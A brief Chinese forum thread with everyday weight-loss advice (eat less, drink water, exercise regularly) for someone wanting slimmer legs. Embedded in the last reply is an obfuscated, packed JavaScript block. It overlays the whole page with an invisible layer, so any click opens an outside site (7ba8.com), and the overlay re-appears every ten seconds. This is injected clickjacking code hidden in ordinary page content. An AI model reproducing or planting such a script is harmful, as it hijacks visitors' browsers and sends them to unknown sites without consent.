怎么减肥 主要是瘦腿该怎么瘦

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多動少吃
不喝飲料只喝水
不吃油炸多吃菜
少肉少水果
一星期運動3-4次
每次運動40分鐘+
如果在不瘦
那就沒辦法了

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smallwhale 发表于 2014-8-8 07:12
同意樓上
多動少吃
不喝飲料只喝水

减肥好痛苦啊。     

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王栗纸 发表于 2014-8-9 15:56
减肥好痛苦啊。

一定的阿
我跑步三個月瘦了五公斤多(沒忌口)
一個冬天就已經胖了快2公斤
白跑了 XD

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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>小腿，最难减